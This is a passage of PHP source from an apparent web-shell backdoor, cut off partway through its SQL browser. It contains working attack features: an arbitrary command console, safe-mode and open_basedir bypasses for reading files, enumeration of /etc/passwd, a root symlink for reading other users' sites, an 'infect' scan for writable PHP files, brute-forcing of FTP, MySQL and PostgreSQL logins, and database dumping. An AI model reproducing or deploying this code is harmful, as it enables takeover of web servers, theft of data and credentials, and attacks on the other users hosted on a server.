640 echo strlen($temp), "\n", $temp;
641 exit;
642 }
643 printHeader();
644 echo '<h1>String conversions</h1><div class=content>';
645 $stringTools = array(
646 'Base64 encode' => 'base64_encode',
647 'Base64 decode' => 'base64_decode',
648 'Url encode' => 'urlencode',
649 'Url decode' => 'urldecode',
650 'Full urlencode' => 'full_urlencode',
651 'md5 hash' => 'md5',
652 'sha1 hash' => 'sha1',
653 'crypt' => 'crypt',
654 'CRC32' => 'crc32',
655 'ASCII to HEX' => 'ascii2hex',
656 'HEX to ASCII' => 'hex2ascii',
657 'HEX to DEC' => 'hexdec',
658 'HEX to BIN' => 'hex2bin',
659 'DEC to HEX' => 'dechex',
660 'DEC to BIN' => 'decbin',
661 'BIN to HEX' => 'bin2hex',
662 'BIN to DEC' => 'bindec',
663 'String to lower case' => 'strtolower',
664 'String to upper case' => 'strtoupper',
665 'Htmlspecialchars' => 'htmlspecialchars',
666 'String length' => 'strlen',
667 );
668 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
669 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
670 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
671 foreach($stringTools as $k => $v)
672 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
673 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
674 if(!empty($_POST['p1'])) {
675 if(function_exists($_POST['p1']))
676 echo htmlspecialchars($_POST['p1']($_POST['p2']));
677 }
678 echo"</pre></div>";
679 ?>
680 <br><h1>Search for hash:</h1><div class=content>
681 <form method='post' target='_blank' name="hf">
682 <input type="text" name="hash" style="width:200px;"><br>
683 <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
684 <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
685 <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
686 <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
687 <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
688 </form>
689 </div>
690 <?php
691 printFooter();
692}
693
694function actionFilesTools() {
695 if( isset($_POST['p1']) )
696 $_POST['p1'] = urldecode($_POST['p1']);
697 if(@$_POST['p2']=='download') {
698 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
699 ob_start("ob_gzhandler", 4096);
700 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
701 if (function_exists("mime_content_type")) {
702 $type = @mime_content_type($_POST['p1']);
703 header("Content-Type: ".$type);
704 }
705 $fp = @fopen($_POST['p1'], "r");
706 if($fp) {
707 while(!@feof($fp))
708 echo @fread($fp, 1024);
709 fclose($fp);
710 }
711 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
712
713 }
714 exit;
715 }
716 if( @$_POST['p2'] == 'mkfile' ) {
717 if(!file_exists($_POST['p1'])) {
718 $fp = @fopen($_POST['p1'], 'w');
719 if($fp) {
720 $_POST['p2'] = "edit";
721 fclose($fp);
722 }
723 }
724 }
725 printHeader();
726 echo '<h1>File tools</h1><div class=content>';
727 if( !file_exists(@$_POST['p1']) ) {
728 echo 'File not exists';
729 printFooter();
730 return;
731 }
732 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
733 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
734 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
735 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
736 if( empty($_POST['p2']) )
737 $_POST['p2'] = 'view';
738 if( is_file($_POST['p1']) )
739 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
740 else
741 $m = array('Chmod', 'Rename', 'Touch');
742 foreach($m as $v)
743 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
744 echo '<br><br>';
745 switch($_POST['p2']) {
746 case 'view':
747 echo '<pre class=ml1>';
748 $fp = @fopen($_POST['p1'], 'r');
749 if($fp) {
750 while( !@feof($fp) )
751 echo htmlspecialchars(@fread($fp, 1024));
752 @fclose($fp);
753 }
754 echo '</pre>';
755 break;
756 case 'highlight':
757 if( is_readable($_POST['p1']) ) {
758 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
759 $code = highlight_file($_POST['p1'],true);
760 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
761 }
762 break;
763 case 'chmod':
764 if( !empty($_POST['p3']) ) {
765 $perms = 0;
766 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
767 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
768 if(!@chmod($_POST['p1'], $perms))
769 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
770 else
771 die('<script>g(null,null,null,null,"")</script>');
772 }
773 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
774 break;
775 case 'edit':
776 if( !is_writable($_POST['p1'])) {
777 echo 'File isn\'t writeable';
778 break;
779 }
780 if( !empty($_POST['p3']) ) {
781 @file_put_contents($_POST['p1'],$_POST['p3']);
782 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
783 }
784 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
785 $fp = @fopen($_POST['p1'], 'r');
786 if($fp) {
787 while( !@feof($fp) )
788 echo htmlspecialchars(@fread($fp, 1024));
789 @fclose($fp);
790 }
791 echo '</textarea><input type=submit value=">>"></form>';
792 break;
793 case 'hexdump':
794 $c = @file_get_contents($_POST['p1']);
795 $n = 0;
796 $h = array('00000000<br>','','');
797 $len = strlen($c);
798 for ($i=0; $i<$len; ++$i) {
799 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
800 switch ( ord($c[$i]) ) {
801 case 0: $h[2] .= ' '; break;
802 case 9: $h[2] .= ' '; break;
803 case 10: $h[2] .= ' '; break;
804 case 13: $h[2] .= ' '; break;
805 default: $h[2] .= $c[$i]; break;
806 }
807 $n++;
808 if ($n == 32) {
809 $n = 0;
810 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
811 $h[1] .= '<br>';
812 $h[2] .= "\n";
813 }
814 }
815 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
816 break;
817 case 'rename':
818 if( !empty($_POST['p3']) ) {
819 if(!@rename($_POST['p1'], $_POST['p3']))
820 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
821 else
822 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
823 }
824 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
825 break;
826 case 'touch':
827 if( !empty($_POST['p3']) ) {
828 $time = strtotime($_POST['p3']);
829 if($time) {
830 if(@touch($_POST['p1'],$time,$time))
831 die('<script>g(null,null,null,null,"")</script>');
832 else {
833 echo 'Fail!<script>document.mf.p3.value="";</script>';
834 }
835 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
836 }
837 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
838 break;
839 case 'mkfile':
840
841 break;
842 }
843 echo '</div>';
844 printFooter();
845}
846
847function actionSafeMode() {
848 $temp='';
849 ob_start();
850 switch($_POST['p1']) {
851 case 1:
852 $temp=@tempnam($test, 'cx');
853 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
854 echo @file_get_contents($temp);
855 unlink($temp);
856 } else
857 echo 'Sorry... Can\'t open file';
858 break;
859 case 2:
860 $files = glob($_POST['p2'].'*');
861 if( is_array($files) )
862 foreach ($files as $filename)
863 echo $filename."\n";
864 break;
865 case 3:
866 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
867 curl_exec($ch);
868 break;
869 case 4:
870 ini_restore("safe_mode");
871 ini_restore("open_basedir");
872 include($_POST['p2']);
873 break;
874 case 5:
875 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
876 $uid = @posix_getpwuid($_POST['p2']);
877 if ($uid)
878 echo join(':',$uid)."\n";
879 }
880 break;
881 case 6:
882 if(!function_exists('imap_open'))break;
883 $stream = imap_open($_POST['p2'], "", "");
884 if ($stream == FALSE)
885 break;
886 echo imap_body($stream, 1);
887 imap_close($stream);
888 break;
889 }
890 $temp = ob_get_clean();
891 printHeader();
892 echo '<h1>Safe mode bypass</h1><div class=content>';
893 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
894 if($temp)
895 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
896 echo '</div>';
897 printFooter();
898}
899
900function actionConsole() {
901 if(isset($_POST['ajax'])) {
902 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
903 ob_start();
904 echo "document.cf.cmd.value='';\n";
905 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
906 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
907 if(@chdir($match[1])) {
908 $GLOBALS['cwd'] = @getcwd();
909 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
910 }
911 }
912 echo "document.cf.output.value+='".$temp."';";
913 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
914 $temp = ob_get_clean();
915 echo strlen($temp), "\n", $temp;
916 exit;
917 }
918 printHeader();
919?>
920<script>
921if(window.Event) window.captureEvents(Event.KEYDOWN);
922var cmds = new Array("");
923var cur = 0;
924function kp(e) {
925 var n = (window.Event) ? e.which : e.keyCode;
926 if(n == 38) {
927 cur--;
928 if(cur>=0)
929 document.cf.cmd.value = cmds[cur];
930 else
931 cur++;
932 } else if(n == 40) {
933 cur++;
934 if(cur < cmds.length)
935 document.cf.cmd.value = cmds[cur];
936 else
937 cur--;
938 }
939}
940function add(cmd) {
941 cmds.pop();
942 cmds.push(cmd);
943 cmds.push("");
944 cur = cmds.length-1;
945}
946</script>
947<?php
948 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
949 foreach($GLOBALS['aliases'] as $n => $v) {
950 if($v == '') {
951 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
952 continue;
953 }
954 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
955 }
956 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
957 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
958 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
959 if(!empty($_POST['p1'])) {
960 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
961 }
962 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
963 echo '</form></div><script>document.cf.cmd.focus();</script>';
964 printFooter();
965}
966
967function actionLogout() {
968 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
969 echo 'bye!';
970}
971
972function actionSelfRemove() {
973 printHeader();
974 if($_POST['p1'] == 'yes') {
975 if(@unlink(SELF_PATH))
976 die('Shell has been removed');
977 else
978 echo 'unlink error!';
979 }
980 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
981 printFooter();
982}
983
984function actionTools() {
985 printHeader();
986
987 printFooter();
988}
989
990function actionDomains() {
991 printHeader();
992 error_reporting(0);
993echo "<title>#Domains & Users</title>";
994mkdir("sym");
995symlink("/","0/x.txt");
996$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
997$f = fopen ('sym/.htaccess','w');
998 fwrite($f , $c);
999
1000$d0mains = @file("/etc/named.conf");
1001
1002if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1003
1004echo "<table align=center border=1>
1005<tr bgcolor=green><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1006
1007foreach($d0mains as $d0main){
1008
1009if(eregi("zone",$d0main)){
1010
1011preg_match_all('#zone "(.*)"#', $d0main, $domains);
1012flush();
1013
1014if(strlen(trim($domains[1][0])) > 2){
1015
1016$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1017
1018echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1019
1020}}}
1021
1022echo "</table>
1023<p align='center'>
1024 <a href=''></a> | <a
1025
1026href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1027</p>
1028";
1029 printFooter();
1030}
1031
1032function actionInfect() {
1033 printHeader();
1034 echo '<h1>Infect</h1><div class=content>';
1035 if($_POST['p1'] == 'infect') {
1036 $target=$_SERVER['DOCUMENT_ROOT'];
1037 function ListFiles($dir) {
1038 if($dh = opendir($dir)) {
1039 $files = Array();
1040 $inner_files = Array();
1041 while($file = readdir($dh)) {
1042 if($file != "." && $file != "..") {
1043 if(is_dir($dir . "/" . $file)) {
1044 $inner_files = ListFiles($dir . "/" . $file);
1045 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1046 } else {
1047 array_push($files, $dir . "/" . $file);
1048 }
1049 }
1050 }
1051 closedir($dh);
1052 return $files;
1053 }
1054 }
1055 foreach (ListFiles($target) as $key=>$file){
1056 $nFile = substr($file, -4, 4);
1057 if($nFile == ".php" ){
1058 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1059 echo "$file<br>";
1060 $i++;
1061 }
1062 }
1063 }
1064 echo "<font color=red size=14>$i</font>";
1065 }else{
1066 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1067 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1068 }
1069 printFooter();
1070}
1071
1072function actionBruteforce() {
1073 printHeader();
1074 if( isset($_POST['proto']) ) {
1075 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1076 if( $_POST['proto'] == 'ftp' ) {
1077 function bruteForce($ip,$port,$login,$pass) {
1078 $fp = @ftp_connect($ip, $port?$port:21);
1079 if(!$fp) return false;
1080 $res = @ftp_login($fp, $login, $pass);
1081 @ftp_close($fp);
1082 return $res;
1083 }
1084 } elseif( $_POST['proto'] == 'mysql' ) {
1085 function bruteForce($ip,$port,$login,$pass) {
1086 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1087 @mysql_close($res);
1088 return $res;
1089 }
1090 } elseif( $_POST['proto'] == 'pgsql' ) {
1091 function bruteForce($ip,$port,$login,$pass) {
1092 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1093 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1094 @pg_close($res);
1095 return $res;
1096 }
1097 }
1098 $success = 0;
1099 $attempts = 0;
1100 $server = explode(":", $_POST['server']);
1101 if($_POST['type'] == 1) {
1102 $temp = @file('/etc/passwd');
1103 if( is_array($temp) )
1104 foreach($temp as $line) {
1105 $line = explode(":", $line);
1106 ++$attempts;
1107 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1108 $success++;
1109 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1110 }
1111 if(@$_POST['reverse']) {
1112 $tmp = "";
1113 for($i=strlen($line[0])-1; $i>=0; --$i)
1114 $tmp .= $line[0][$i];
1115 ++$attempts;
1116 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1117 $success++;
1118 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1119 }
1120 }
1121 }
1122 } elseif($_POST['type'] == 2) {
1123 $temp = @file($_POST['dict']);
1124 if( is_array($temp) )
1125 foreach($temp as $line) {
1126 $line = trim($line);
1127 ++$attempts;
1128 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1129 $success++;
1130 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1131 }
1132 }
1133 }
1134 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1135 }
1136 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1137 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1138 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1139 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1140 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1141 .'<span>Server:port</span></td>'
1142 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1143 .'<tr><td><span>Brute type</span></td>'
1144 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1145 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1146 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1147 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1148 .'<td><input type=text name=login value="root"></td></tr>'
1149 .'<tr><td><span>Dictionary</span></td>'
1150 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1151 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1152 echo '</div><br>';
1153 printFooter();
1154}
1155
1156function actionSql() {
1157 class DbClass {
1158 var $type;
1159 var $link;
1160 var $res;
1161 function DbClass($type) {
1162 $this->type = $type;
1163 }
1164 function connect($host, $user, $pass, $dbname){
1165 switch($this->type) {
1166 case 'mysql':
1167 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1168 break;
1169 case 'pgsql':
1170 $host = explode(':', $host);
1171 if(!$host[1]) $host[1]=5432;
1172 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1173 break;
1174 }
1175 return false;
1176 }
1177 function selectdb($db) {
1178 switch($this->type) {
1179 case 'mysql':
1180 if (@mysql_select_db($db))return true;
1181 break;
1182 }
1183 return false;
1184 }
1185 function query($str) {
1186 switch($this->type) {
1187 case 'mysql':
1188 return $this->res = @mysql_query($str);
1189 break;
1190 case 'pgsql':
1191 return $this->res = @pg_query($this->link,$str);
1192 break;
1193 }
1194 return false;
1195 }
1196 function fetch() {
1197 $res = func_num_args()?func_get_arg(0):$this->res;
1198 switch($this->type) {
1199 case 'mysql':
1200 return @mysql_fetch_assoc($res);
1201 break;
1202 case 'pgsql':
1203 return @pg_fetch_assoc($res);
1204 break;
1205 }
1206 return false;
1207 }
1208 function listDbs() {
1209 switch($this->type) {
1210 case 'mysql':
1211 return $this->res = @mysql_list_dbs($this->link);
1212 break;
1213 case 'pgsql':
1214 return $this->res = $this->query("SELECT datname FROM pg_database");
1215 break;
1216 }
1217 return false;
1218 }
1219 function listTables() {
1220 switch($this->type) {
1221 case 'mysql':
1222 return $this->res = $this->query('SHOW TABLES');
1223 break;
1224 case 'pgsql':
1225 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
1226 break;
1227 }
1228 return false;
1229 }
1230 function error() {
1231 switch($this->type) {
1232 case 'mysql':
1233 return @mysql_error($this->link);
1234 break;
1235 case 'pgsql':
1236 return @pg_last_error($this->link);
1237 break;
1238 }
1239 return false;
1240 }
1241 function setCharset($str) {
1242 switch($this->type) {
1243 case 'mysql':
1244 if(function_exists('mysql_set_charset'))
1245 return @mysql_set_charset($str, $this->link);
1246 else
1247 $this->query('SET CHARSET '.$str);
1248 break;
1249 case 'mysql':
1250 return @pg_set_client_encoding($this->link, $str);
1251 break;
1252 }
1253 return false;
1254 }
1255 function dump($table) {
1256 switch($this->type) {
1257 case 'mysql':
1258 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1259 $create = mysql_fetch_array($res);
1260 echo $create[1].";\n\n";
1261 $this->query('SELECT * FROM `'.$table.'`');
1262 while($item = $this->fetch()) {
1263 $columns = array();
1264 foreach($item as $k=>$v) {
1265 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1266 $columns[] = "`".$k."`";
1267 }
1268 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1269 }
1270 break;
1271 case 'pgsql':
1272 $this->query('SELECT * FROM '.$table);
1273 while($item = $this->fetch()) {
1274 $columns = array();
1275 foreach($item as $k=>$v) {
1276 $item[$k] = "'".addslashes($v)."'";
1277 $columns[] = $k;
1278 }
1279 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1280 }
1281 break;
1282 }
1283 return false;
1284 }
1285 };
1286 $db = new DbClass($_POST['type']);
1287 if(@$_POST['p2']=='download') {
1288 ob_start("ob_gzhandler", 4096);
1289 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1290 $db->selectdb($_POST['sql_base']);
1291 header("Content-Disposition: attachment; filename=dump.sql");
1292 header("Content-Type: text/plain");
1293 foreach($_POST['tbl'] as $v)
1294 $db->dump($v);
1295 exit;
1296 }
1297 printHeader();
1298 ?>
1299 <h1>Sql browser</h1><div class=content>
1300 <form name="sf" method="post">
1301 <table cellpadding="2" cellspacing="0">
1302 <tr>
1303 <td>Type</td>
1304 <td>Host</td>
1305 <td>Login</td>
1306 <td>Password</td>
1307 <td>Database</td>
1308 <td></td>
1309 </tr>
1310 <tr>
1311 <input type=hidden name=a value=Sql>
1312 <input type=hidden name=p1 value='query'>
1313 <input type=hidden name=p2>
1314 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd']);?>'>
1315 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
1316 <td>
1317 <select name='type'>
1318 <option value="mysql" <?php if(@$_POST['type']=='mysql')echo 'selected';?>>MySql</option>
1319 <option value="pgsql" <?php if(@$_POST['type']=='pgsql')echo 'selected';?>>PostgreSql</option>
1320 </select></td>
1321 <td><input type=text name=sql_host value='<?=(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']));?>'></td>
1322 <td><input type=text name=sql_login value='<?=(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']));?>'></td>
1323 <td><input type=text name=sql_pass value='<?=(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']));?>'></td>
1324 <td>
1325 <?php
1326 $tmp = "<input type=text name=sql_base value=''>";
1327 if(isset($_POST['sql_host'])){
1328 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1329 switch($_POST['charset']) {
1330 case "Windows-1251": $db->setCharset('cp1251'); break;
1331 case "UTF-8": $db->setCharset('utf8'); break;
1332 case "KOI8-R": $db->setCharset('koi8r'); break;
1333 case "KOI8-U": $db->setCharset('koi8u'); break;
1334 case "cp866": $db->setCharset('cp866'); break;
1335 }
1336 $db->listDbs();
1337 echo "<select name=sql_base><option value=''></option>";
1338 while($item = $db->fetch()) {
1339 list($key, $value) = each($item);
1340 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1341 }
1342 echo '</select>';
1343 }
1344 else echo $tmp;
1345 }else
1346 echo $tmp;
1347 ?></td>
1348 <td><input type=submit value=">>"></td>
1349 </tr>
1350 </table>
1351 <script>
1352 function st(t,l) {
1353 document.sf.p1.value = 'select';
1354 document.sf.p2.value = t;
1355 if(l!=null)document.sf.p3.value = l;
1356 document.sf.submit();
1357 }
1358 function is() {
1359 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1360 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1361 }
1362 </script>
1363 <?php
1364 if(isset($db) && $db->link){
1365 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1366 if(!empty($_POST['sql_base'])){
1367 $db->selectdb($_POST['sql_base']);
1368 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1369 $tbls_res = $db->listTables();
1370 while($item = $db->fetch($tbls_res)) {
1371 list($key, $value) = each($item);
1372 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1373 $value = htmlspecialchars($value);
1374 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1375 }
1376 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1377 if(@$_POST['p1'] == 'select') {
1378 $_POST['p1'] = 'query';
1379 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1380 $num = $db->fetch();
1381 $num = $num['n'];
1382 echo "<span>".$_POST['p2']."</span> ($num) ";
1383 for($i=0;$i<($num/30);$i++)
1384 if($i != (int)$_POST['p3'])
1385 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1386 else
1387 echo ($i+1)," ";
1388 if($_POST['type']=='pgsql')
1389 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1390 else
1391 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1392 echo "<br><br>";
1393 }
1394 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1395 $db->query(@$_POST['p3']);
1396 if($db->res !== false) {
1397 $title = false;
1398 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1399 $line = 1;
1400 while($item = $db->fetch()) {
1401 if(!$title) {
1402 echo '<tr>';
1403 foreach($item as $key => $value)
1404 echo '<th>'.$key.'</th>';
1405 reset($item);
1406 $title=true;
1407 echo '</tr><tr>';
1408 $line = 2;
1409 }
1410 echo '<tr class="l'.$line.'">';
1411 $line = $line==1?2:1;
1412 foreach($item as $key => $value) {
1413 if($value == null)
1414 echo '<td><i>null</i></td>';
1415 else
